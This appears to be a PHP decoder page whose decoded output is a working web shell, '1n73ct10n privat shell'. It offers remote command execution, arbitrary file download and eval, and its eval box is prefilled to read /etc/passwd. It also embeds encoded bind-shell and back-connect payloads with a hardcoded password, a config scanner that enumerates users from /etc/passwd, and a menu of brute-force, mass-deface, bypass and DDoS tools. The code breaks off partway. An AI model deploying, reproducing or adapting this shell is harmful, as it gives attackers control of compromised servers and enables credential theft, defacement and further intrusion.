Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(str_rot13(base64_decode('7L10e9tTszD82b6u/AeE0YmkW7IENla0LSXsBJvEXp..
Decoded Output download
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
// print useful info
$buff = $software."<br />";
$buff .= $system."<br />";
if($id != "") $buff .= $id."<br />";
$buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your ip : ".$my_ip."<br />";
if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
$buff .= $letters." > ".$pwdurl;
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td></tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form>
<td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\">$file</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form>
</td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//jum
$jumper="3VRdb9MwFH0Gif9wa1XY0UrTwQNSm6ZICCR4AIk9oW0KbuwshsSObIetTPx37k26bOOBH4CipNG559xzP5zqsnbAsij3jYaykSFsL1jZqr27uWB5Fj3eCkrXhE5aDL1ElG1APHv6ZB5a2IKxprjSUfAgK120TmmewHYLqwR2MLG4qyq+BmW0YO+8d34NZ3d8DH+2WRpVjg9PDyomR22mzM+pKGMrh+bnRXFqX78qo3EWMqpqYlzJg6SiJdReV1u+4zlbzm8+yVYvWZZKTE38HM5q3TRFcZmlaJDD307fxzzwEX8bWcMHq5zVwcgfPTwvXXfYAFsqGbXgX/kimlaLJFkyuDeDzYsExuws2ZBB0LEgZtGY1kSxQvTNvEO/a4X9V67TVvBUxzIdQb7gno9SU4GYHbkJ3NIQQbDzF5cwTBLW8Nb1yn6L8EVLBQ+S/NdD/T2crq7f4/yk9/IgEJz3QfvwCCmdrR4CpDIIrDZwXZtGi1mlXSXuBpzcwjxET0vBYx0mfFoFinM4Xa2I2DnyQjq+CJIt+Pq4taESi4UTod9jbCSsFqQ6cpTxv+jrSGvX6pQvJ9GSp9hZY8qijm2T8sld3OedoZBTvYSbUHjcPi1ZDGkpMPRcdH2oR1lYTOqxgIcE9FuMSpotXXNzckLvlcPUZQ3HJCDDOGd00PT3wc/fu94qmF0OWz+eFLY7bB/19bgnlv8jmA4Ha+9zTv67/A8=";
//confscan
$scanconfig="DQooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+RXJyb3I6IFNhZmVfbW9kZSA9IE9uPC9iPjwvZm9udD4nKTsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7DQppZiAoISRwYXNzd2QpIHsgZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+Wy1dIEVycm9yIDogQ291ZG5gdCBSZWFkIC9ldGMvcGFzc3dkPC9iPjwvZm9udD4nKTsgfQ0KJHB1YiA9IGFycmF5KCk7DQokdXNlcnMgPSBhcnJheSgpOw0KJGNvbmYgPSBhcnJheSgpOw0KJGkgPSAwOw0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpDQp7DQokc3RyID0gZmdldHMoJHBhc3N3ZCk7DQppZiAoJGkgPiAxMDApDQp7DQogICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOw0KICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KICBpZiAoKCR1c2VybmFtZSAhPSAnJykpDQogIHsNCiAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpDQogICB7DQogICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgfQ0KICB9DQogICB9DQokaSsrOw0KfQ0KZWNobyAnPHA+DQo8Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwODA4MCIgZmFjZT0iQ2FsaWJyaSI+DQpTZXJ2ZXIgSnVtcGluZyBGaW5kZXIgVmVyc2lvbiAzLjAgPGJyPjwvZm9udD4NCjxmb250IHNpemU9IjMiIGNvbG9yPSIjODAwMDAwIiBmYWNlPSJDYWxpYnJpIj4NCkNyZWF0ZWQgYnkgdXphbmMgfCAyMDExIC0gVGFuZ2VyYW5nIC0gSW5kb25lc2lhDQo8L2ZvbnQ+DQo8L3A+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDgwODAiIGZhY2U9IkNhbGlicmkiPlsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsgU1RBUlQgXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250Pg0KJzsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjx0YWJsZSB3aXRoPSczMCUnPjx0cj48dGQ+PGZvbnQgc2l6ZT0nMycgY29sb3I9JyNlZTA4MDgnIGZhY2U9J0NhbGlicmknPiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz4gWytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250PlxuIjsNCmVjaG8gIlxuIDxmb250IHNpemU9JzInIGNvbG9yPScjODAwMDAwJyBmYWNlPSdDYWxpYnJpJz5bK10gU2Nhbm5lcnMgaGF2ZSBiZWVuIGNvbXBsZXRlZCB8IFRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyB0b29scyBbK108L2ZvbnQ+XG4iOw0K";
?>
<html><head><title>=[ 1n73ct10n privat shell ]=</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:#00ff00;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #00ff00;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k1{
font-size:30px;
padding:0;
color: #333333;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style>
<br><center><img src="https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-prn1/65186_145110908973389_1514728916_n.jpg" height="250" width="400"></center>
</head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">1n7<span class="b374k1">3ct</span>ion</span></a></td></tr><tr><td>Shell V.2.1</td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">Explore</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumping">jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=ms">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=chmod">Chmod</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config-scan">Config Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">Cgi Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress Res Pass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla Res Pass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
</div>
<!-- menu end -->
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
